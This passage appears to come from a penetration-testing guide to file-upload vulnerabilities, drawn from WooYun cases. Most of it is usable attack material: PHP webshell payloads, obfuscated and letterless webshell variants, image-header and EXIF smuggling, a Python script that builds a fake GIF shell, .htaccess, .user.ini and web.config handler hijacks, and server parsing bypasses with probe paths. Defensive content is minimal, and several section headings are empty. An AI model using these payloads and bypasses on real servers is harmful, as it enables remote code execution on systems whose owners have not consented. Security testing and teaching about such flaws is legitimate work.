3.4 File Content Bypass

Image-based webshell creation methods:
GIF89a
(malicious code content)

Or using the copy command to merge:
copy /b image.gif+shell.php shell.gif

---

4. Parsing Vulnerability Exploitation

4.1 Parsing Vulnerability Overview

+-------------------------------------------------------------------------+
|                    Web Server Parsing Vulnerabilities                    |
+-------------------------------------------------------------------------+
|                                                                         |
|  IIS 5.x/6.0                                                          |
|  |-- Directory parsing: /shell.asp/1.jpg  -> Parsed as ASP            |
|  |-- File parsing: shell.asp;.jpg    -> Parsed as ASP                 |
|  |-- Malformed parsing: shell.asp.jpg -> May be parsed as ASP         |
|                                                                         |
|  Apache                                                                |
|  |-- Multi-suffix parsing: shell.php.xxx -> Parses right-to-left,     |
|  |   executes on recognizable suffix                                   |
|  |-- .htaccess: AddType application/x-httpd-php .jpg                  |
|  |-- Newline parsing: shell.php%0a -> CVE-2017-15715                  |
|                                                                         |
|  Nginx                                                                 |
|  |-- Malformed parsing: /1.jpg/shell.php -> Parsed as PHP             |
|  |   (cgi.fix_pathinfo=1)                                             |
|  |-- Null byte: shell.jpg%00.php -> Older version vulnerability       |
|  |-- CVE-2013-4547: shell.jpg \0.php -> Requires specific version     |
|                                                                         |
|  Tomcat                                                                |
|  |-- PUT method: PUT /shell.jsp/ -> CVE-2017-12615                    |
|                                                                         |
+-------------------------------------------------------------------------+

4.2 IIS 6.0 Parsing Vulnerability in Practice

Case: FCKeditor + IIS6 Parsing (WooYun-2015-0138435)

Uploaded file: ali.asp;ali.jpg
Actual parsing: ali.asp (content after semicolon is ignored)
Shell path: /Fckeditor/UserFiles/File/ali.asp;ali(2).jpg

Key point: Uploading consecutively twice may succeed
Reason: First attempt may fail; second attempt with renamed file changes semicolon position

4.3 Apache Parsing Vulnerability in Practice

Case: Multi-Suffix Parsing

Uploaded file: shell.php.xxx
Apache config: Continues parsing left when .xxx suffix is unrecognized
Result: Executed as PHP

Defense bypass: When .php is blocked
Try: .php3, .php5, .phtml, .phar

4.4 Nginx Parsing Vulnerability in Practice

Case: PHP-CGI Parsing Vulnerability (WooYun-2015-0158311)

Normal upload: test.jpg (containing PHP code)
Access path: /upload/test.jpg/.php
Or: /upload/test.jpg/shell.php

Prerequisites:
- cgi.fix_pathinfo = 1 (PHP configuration)
- Nginx lacks security restrictions

---

5. Webshell Techniques

5.1 One-Liner Webshell Variations

5.2 Evasion Techniques

PHP variable function:
$a = 'as'.'sert';
$a($_POST['x']);

PHP callback function:
array_map('assert', array($_POST['x']));

PHP dynamic invocation:
$f = create_function('', $_POST['x']);
$f();

5.3 JSPX WAF Bypass

Case: FCKeditor JSPX Upload (WooYun-2015-0149146)

JSPX is an XML format variant of JSP with the following characteristics:

• WAFs typically inspect .jsp but ignore .jspx
• Tomcat supports JSPX parsing by default
• Can bind namespaces to execute arbitrary code

---

6. Common Vulnerable CMS/Frameworks

6.1 High-Risk Target Statistics

+------------------------------------------------------------+
|       Vulnerable CMS/Framework Distribution (50 Cases)     |
+------------------------------------------------------------+
|  OA Systems (enterprise)      ================  32%        |
|  Government Systems           ==========  20%              |
|  FCKeditor-Integrated Sites   ========  16%                |
|  Education Systems            ======  12%                  |
|  PHP CMS (Jeecms/Finecms)    ====  8%                     |
|  Enterprise Portals           ====  8%                     |
|  Other                        ==  4%                       |
+------------------------------------------------------------+

6.2 High-Risk CMS Vulnerability Quick Reference

6.3 Common Vulnerability Patterns

Pattern 1: Admin Functions Without Authentication

Issue: Upload functionality does not verify login status
Case: WooYun-2015-0123700 (a university career information system)
Path: /Adminiscentertrator/AdmLinkInsert.asp
Exploitation: Relies only on JavaScript redirect; disabling JS grants access

Pattern 2: Unrestricted Import Functionality

Issue: Excel/file import function allows arbitrary file uploads
Case: WooYun-2014-074398 (an enterprise collaboration platform)
Path: /oaerp/ui/sync/excelUpload.jsp
Exploitation: Bypass JS restriction, brute-force filenames

Pattern 3: Race Condition Vulnerability

Issue: Time gap between upload and deletion
Case: WooYun-2014-063369 (Finecms)
Exploitation: Multi-threaded upload + access, execute before deletion
Technique: Malicious file generates a new file that is not subject to deletion

---

7. Upload Path Retrieval Techniques

7.1 Path Leakage Methods

7.2 Naming Rule Brute Force

Case: Timestamp Naming Brute Force (WooYun-2014-074398)

Naming rule: Upload time (to the second) + original filename
Example: 20140829221136jsp.jsp

Brute-force method:
1. Record upload time
2. Brute-force second offset (+/-60 seconds)
3. Attempt access to obtain shell

---

8. Defense Bypass Thinking Framework

8.1 Systematic Analysis

+-------------------------------------------------------------------------+
|                Defense Mechanism Reverse Analysis Framework              |
+-------------------------------------------------------------------------+
|                                                                         |
|  Layer 1: Identify Defense Points                                      |
|  |-- Client-side detection? (JS/Flash restrictions)                    |
|  |-- Server-side detection? (Extension/Content-Type/Content)           |
|  |-- WAF detection? (Signature matching/behavioral analysis)           |
|                                                                         |
|  Layer 2: Analyze Detection Logic                                      |
|  |-- Blocklist or allowlist?                                           |
|  |-- What is the detection order?                                      |
|  |-- Are there logic flaws?                                            |
|                                                                         |
|  Layer 3: Construct Bypass Vectors                                     |
|  |-- Single-point bypass: Targeting specific detection                 |
|  |-- Combined bypass: Multiple techniques in concert                   |
|  |-- Logic bypass: Exploiting design defects                           |
|                                                                         |
|  Layer 4: Validate and Iterate                                         |
|  |-- Test bypass effectiveness                                         |
|  |-- Analyze failure reasons                                           |
|  |-- Adjust bypass strategy                                            |
|                                                                         |
+-------------------------------------------------------------------------+

8.2 Decision Tree

                        +-------------------+
                        | Upload Feature    |
                        | Discovered        |
                        +---------+---------+
                                  |
                     +------------v------------+
                     | Client-side restriction? |
                     +------------+------------+
                           Yes    |    No
                     +------------+------------+
                     |                         |
             +-------v-------+         +-------v-------+
             | Disable JS /  |         | Direct upload |
             | intercept     |         | test          |
             +-------+-------+         +-------+-------+
                     |                         |
                     +------------+------------+
                                  |
                     +------------v------------+
                     | Server-side error?       |
                     +------------+------------+
                                  |
         +------------------------+------------------------+
         |                        |                        |
  +------v-------+        +------v-------+        +-------v------+
  | Extension    |        | Content-Type |        | File Content |
  | error        |        | error        |        | error        |
  +------+-------+        +------+-------+        +-------+------+
         |                        |                        |
  +------v-------+        +------v-------+        +-------v------+
  | Try extension|        | Modify       |        | Add file     |
  | bypass: case |        | Content-Type |        | header /     |
  | /truncation  |        | header       |        | image-based  |
  +--------------+        +--------------+        | webshell     |
                                                  +--------------+

---

9. Key Insights

9.1 Attacker Perspective Meta-Analysis

1. Editors are the biggest attack surface: 42% of cases involve rich text editors, and most websites run outdated editor versions

2. Client-side validation = no validation: 100% of pure client-side validation can be bypassed; this is the most basic yet most common mistake

3. Path leakage is critically underestimated: Even when upload succeeds, exploitation is difficult without a returned path; yet most systems leak paths

4. Server configuration is the last line of defense: IIS 6.0 parsing vulnerabilities still exist in large numbers of government and enterprise systems

5. Race conditions are an advanced bypass: When all validation checks are correct, exploiting the deletion time window can still achieve shell access

9.2 Blind Spots Defenders Should Address

---

10. Practical Checklist

10.1 Penetration Testing Checklist

• [ ] Scan for common editor paths
• [ ] Test various upload points (avatar, attachment, import)
• [ ] Disable JavaScript to test client-side validation
• [ ] Test extension bypass (case variation, double-write, truncation)
• [ ] Test Content-Type modification
• [ ] Test file header bypass
• [ ] Identify server type, test corresponding parsing vulnerabilities
• [ ] Analyze file naming conventions
• [ ] Test directory traversal to obtain paths
• [ ] Test race condition upload

10.2 Quick Vulnerability Verification

FCKeditor Quick Check:
Visit /FCKeditor/editor/filemanager/browser/default/connectors/test.html

Directory Traversal Test (FCKeditor):
Visit /FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../

IIS Parsing Vulnerability Test:
Upload shell.asp;.jpg and access it

---

Appendix: Case Index

---

11. Validation Defect Analysis

Case: WooYun-2015-0127845

Vulnerability Surface:

{
  "bug_id": "wooyun-2015-0127845",
  "title": "A system file upload leading to arbitrary code execution",
  "vuln_type": "Vulnerability Type: File upload leading to arbitrary code execution",
  "level": "Severity: High",
  "detail": "Upload function did not properly validate file type, uploaded .php file was executed",
  "poc": "Upload shell.php with content: <?php system($_POST['cmd']); ?>"
}

Blocklists fail because extensions are an open set; allowlists are the only production-acceptable approach.

---

12. File Header Bypass Techniques

12.1 Common File Headers (Magic Numbers) Quick Reference

| File Type  | Magic Number (Hex)        | ASCII       | Offset |
|------------|---------------------------|-------------|--------|
| JPEG       | FF D8 FF                  | ...         | 0      |
| PNG        | 89 50 4E 47               | .PNG        | 0      |
| GIF        | 47 49 46 38               | GIF8        | 0      |
| BMP        | 42 4D                     | BM          | 0      |
| TIFF       | 49 49 2A 00               | II*.        | 0      |
| PDF        | 25 50 44 46               | %PDF        | 0      |
| ZIP        | 50 4B 03 04               | PK..        | 0      |
| RAR        | 52 61 72 21               | Rar!        | 0      |
| ELF        | 7F 45 4C 46               | .ELF        | 0      |
| EXE        | 4D 5A                     | MZ          | 0      |

12.2 File Header Spoofing Techniques

Simple file header prepending:

// GIF file header
GIF89a<?php system($_POST['cmd']); ?>

// JPEG file header
FF D8 FF<?php system($_POST['cmd']); ?>

// PNG file header
89 50 4E 47<?php system($_POST['cmd']); ?>

Image-based webshell creation:

# Windows
copy /b image.gif+shell.php shell.gif

# Linux/Mac
cat image.gif shell.php > shell.gif

# Using exiftool to inject PHP into EXIF
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

Binary file header construction:

def create_fake_gif(php_code):
    gif_header = b'GIF89a'
    return gif_header + php_code.encode()

php_code = "<?php system($_POST['cmd']); ?>"
fake_gif = create_fake_gif(php_code)

with open('shell.gif', 'wb') as f:
    f.write(fake_gif)

12.3 Advanced Bypass: Polyglot Files and EXIF Injection

# Use exiftool to inject code into EXIF
exiftool -Comment='<?php system($_GET["x"]); ?>' image.jpg

# Use with LFI vulnerability
# /image.php?file=uploads/image.jpg
# If include() processes this file, PHP in EXIF will execute

# Use steghide tool to hide PHP inside an image
steghide embed -cf image.jpg -ef shell.php
# Note: Requires a file inclusion vulnerability

---

13. Webshell Upload Locations

13.1 Upload Location Risk Matrix

| Location Type           | Risk  | Access     | Persistence  | Detection  |
|                         | Level | Difficulty | Capability   | Difficulty |
|-------------------------|-------|------------|--------------|------------|
| 1. Rich text editor dir | 5/5   | Low        | Strong       | Low        |
| 2. User avatar upload   | 4/5   | Medium     | Medium       | Low        |
| 3. Attachment/doc dir   | 4/5   | Medium     | Medium       | Medium     |
| 4. Temporary file dir   | 3/5   | High       | Weak         | High       |
| 5. Log directory        | 2/5   | High       | Weak         | High       |
| 6. Cache directory      | 3/5   | High       | Medium       | High       |
| 7. Backup directory     | 4/5   | Medium     | Strong       | Medium     |
| 8. Config file dir      | 5/5   | Low        | Very Strong  | Medium     |
| 9. Theme/template dir   | 5/5   | Low        | Very Strong  | Low        |
| 10. User upload root    | 4/5   | Low        | Strong       | Low        |

13.2 Editor-Specific Upload Paths

Editor fingerprint paths:

# FCKeditor signatures
/FCKeditor/editor/filemanager/browser/default/connectors/test.html
/FCKeditor/editor/filemanager/upload/test.html

# UEditor signatures
/ueditor/net/controller.ashx
/ueditor/php/controller.php

# eWebEditor signatures
/ewebeditor/admin_uploadfile.asp
/ewebeditor/php/upload.php

13.3 Configuration File Hijacking

# .htaccess parsing hijack
<FilesMatch "\.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

# .user.ini (PHP-FPM)
auto_prepend_file=/var/www/html/uploads/shell.jpg
# All PHP files automatically include shell.jpg before execution

<!-- web.config (IIS) -->
<configuration>
  <system.webServer>
    <handlers>
      <add name="PHP" path="*.jpg" verb="*" modules="FastCgiModule"
           scriptProcessor="C:\php\php-cgi.exe" resourceType="Unspecified" />
    </handlers>
  </system.webServer>
</configuration>

13.4 Webshell Concealment Techniques

// 1. Variable obfuscation
$a = 'syste';
$b = 'm';
$ab = $a.$b;
$ab($_POST['x']);

// 2. Callback functions
array_map('ass'.'ert', array($_POST['x']));

// 3. Dynamic functions
$func = $_REQUEST['f'];
$func($_REQUEST['cmd']);

// 4. Letterless webshell
$_=''; $_[+'']='='; $__='_';
$_=++$_; $_++; $_++; $_++; $_++; $_++; // 6
$__++; $__++; // 2
$___=$_$__; // 6+2=8 (chr)
// Using mathematical operations to generate characters

// 5. Using exception handling
set_exception_handler('system');
throw new Exception($_POST['cmd']);

---

14. Real-World Case Analysis

14.1 Case: WooYun-2015-0127845 Exploitation

Vulnerability info:

{
  "bug_id": "wooyun-2015-0127845",
  "title": "A system file upload leading to arbitrary code execution",
  "level": "Severity: High",
  "detail": "Upload function did not properly validate file type, uploaded .php file was executed",
  "poc": "Upload shell.php with content: <?php system($_POST['cmd']); ?>"
}

Inferred vulnerable code:

class UploadController {
    public function upload() {
        $file = $_FILES['file'];

        // Error 1: Only checks MIME type (client-controllable)
        $allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
        if (!in_array($file['type'], $allowed_types)) {
            return ['error' => 'File type not allowed'];
        }

        // Error 2: No extension check, no renaming
        // Error 3: Upload directory can execute PHP
        $upload_dir = '/var/www/html/uploads/';
        move_uploaded_file($file['tmp_name'], $upload_dir . $file['name']);

        // Error 4: Returns full path (information disclosure)
        return ['url' => 'http://target/uploads/' . $file['name']];
    }
}

Exploitation: Modify Content-Type to image/jpeg via Burp/curl, upload .php shell directly. Path returned in response.

---

Document generation date: 2026-01-23 Data source: WooYun vulnerability database (2,711 file upload vulnerabilities out of 88,636 total entries)